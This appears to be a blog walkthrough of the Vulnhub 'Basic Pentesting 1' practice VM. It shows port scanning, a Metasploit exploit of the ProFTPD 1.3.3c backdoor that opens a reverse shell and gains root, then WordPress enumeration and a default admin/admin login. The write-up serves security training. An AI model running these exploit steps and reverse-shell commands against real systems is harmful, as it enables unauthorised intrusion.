Open in app

Sign in

Write

Sign in

Basic Pentesting 1 Walkthrough

Mr. Robot
InfoSec Adventures
Published in
5 min readNov 12, 2018

This is a small boot2root VM I created for my university’s cyber security group. It contains multiple remote vulnerabilities and multiple privilege escalation vectors. I did all of my testing for this VM on VirtualBox, so that’s the recommended platform. I have been informed that it also works with VMware, but I haven’t tested this personally.

This VM is specifically intended for newcomers to penetration testing. If you’re a beginner, you should hopefully find the difficulty of the VM to be just right.

Your goal is to remotely attack the VM and gain root privileges. Once you’ve finished, try to find other vectors you might have missed!

The initial port scan resulted the following output:

root@kali:~# nmap -A -p 1-65535 192.168.43.220
Nmap scan report for vtcsec (192.168.43.220)
Host is up (0.00021s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
|   256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
|_  256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:14:06:50 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms vtcsec (192.168.43.220)

I was curious about that ftp version, so I used searchsploit to search for possible exploits.

root@kali:~# searchsploit proftpd 1.3.3cProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution                                               | exploits/linux/remote/15662.txtProFTPd-1.3.3c - Backdoor Command Execution (Metasploit)                                                         | exploits/linux/remote/16921.rb

Jackpot! It has a known command execution vulnerability. I fired up Metasploit to exploit it:

root@kali:~# msfconsoleMetasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!=[ metasploit v4.17.3-dev                          ]
+ -- --=[ 1795 exploits - 1019 auxiliary - 310 post       ]
+ -- --=[ 538 payloads - 41 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]msf > search proftpd 1.3.3c
[!] Module database cache not built yet, using slow searchMatching Modules
================Name                                         Disclosure Date  Rank       Description
   ----                                         ---------------  ----       -----------
   exploit/freebsd/ftp/proftp_telnet_iac        2010-11-01       great      ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
   exploit/linux/ftp/proftp_sreplace            2006-11-26       great      ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
   exploit/linux/ftp/proftp_telnet_iac          2010-11-01       great      ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
   exploit/linux/misc/netsupport_manager_agent  2011-01-08       average    NetSupport Manager Agent Remote Buffer Overflow
   exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02       excellent  ProFTPD-1.3.3c Backdoor Command Execution
   exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22       excellent  ProFTPD 1.3.5 Mod_Copy Command Executionmsf > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(unix/ftp/proftpd_133c_backdoor) > show optionsModule options (exploit/unix/ftp/proftpd_133c_backdoor):Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port (TCP)Exploit target:Id  Name
   --  ----
   0   Automaticmsf exploit(unix/ftp/proftpd_133c_backdoor) > set rhost 192.168.43.220
rhost => 192.168.43.220
msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit[*] Started reverse TCP double handler on 192.168.43.5:4444 
[*] 192.168.43.220:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 9xULzd6TE7qgtjRB;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "9xULzd6TE7qgtjRB\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.43.5:4444 -> 192.168.43.220:56522)

Alright, I got a root shell. I upgraded it to a pseudo-terminal using python:

python -c 'import pty; pty.spawn("/bin/bash")'
root@vtcsec:/# whoami
root

At this point point, I owned the machine, but I went on to check out the web server with nikto.

root@kali:~# nikto -h 192.168.43.220
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.43.220
+ Target Hostname:    192.168.43.220
+ Target Port:        80
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0xb1 0x55e1c7758dcdb 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ Uncommon header 'link' found, with contents: <http://vtcsec/secret/index.php/wp-json/>; rel="https://api.w.org/"
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 8 item(s) reported on remote host

Nikto picked up a secret directory, which contained a Wordpress installation.

root@kali:~# wpscan 192.168.43.220/secret
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan Team 
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________[i] Please use '-u 192.168.43.220/secret' next time[i] It seems like you have not updated the database for some time
[?] Do you want to update now? [Y]es  [N]o  [A]bort update, default: [N] > Y
[i] Updating the Database ...
[i] Update completed
[+] URL: http://192.168.43.220/secret/[+] Interesting header: LINK: <http://vtcsec/secret/index.php/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: http://192.168.43.220/secret/xmlrpc.php   [HTTP 405]
[+] Found an RSS Feed: http://vtcsec/secret/index.php/feed/   [HTTP 200]
[!] Detected 1 user from RSS feed:
+-------+
| Name  |
+-------+
| admin |
+-------+
[!] Upload directory has directory listing enabled: http://192.168.43.220/secret/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://192.168.43.220/secret/wp-includes/[+] Enumerating WordPress version ...[+] WordPress version 4.9.8 (Released on 2018-08-02) identified from advanced fingerprinting, meta generator, links opml, stylesheets numbers[+] WordPress theme in use: twentyseventeen - v1.4[+] Name: twentyseventeen - v1.4
 |  Last updated: 2018-08-02T00:00:00.000Z
 |  Location: http://192.168.43.220/secret/wp-content/themes/twentyseventeen/
 |  Readme: http://192.168.43.220/secret/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 1.7
 |  Style URL: http://192.168.43.220/secret/wp-content/themes/twentyseventeen/style.css
 |  Referenced style.css: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI: https://wordpress.org/themes/twentyseventeen/
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/[+] Enumerating plugins from passive detection ...
[+] No plugins found passively

I tried logging in as admin to the site with the password admin and it was a success. Look like, it is another way to get root/admin privileges on the machine. I found some kernel exploits, but I didn’t tried them. Maybe uploading a PHP reverse shell or malicious plugin and using a kernel exploit for privilege escalation would have been good as well.

Before you go…

Thank you for taking the time to read my walkthrough. If you found it helpful, please hit the 👏 button 👏 (up to 50x) and share it to help others with similar interest find it! + Feedback is always welcome! 🙏

Hacking
Vulnhub
Information Security
Ctf
Security

--

--

Mr. Robot
InfoSec Adventures

Written by Mr. Robot

573 Followers
Editor for

Self-taught developer with an interest in Offensive Security. I regularly play on Vulnhub and Hack The Box.

Help

Status

About

Careers

Press

Blog

Privacy

Terms

Text to speech

Teams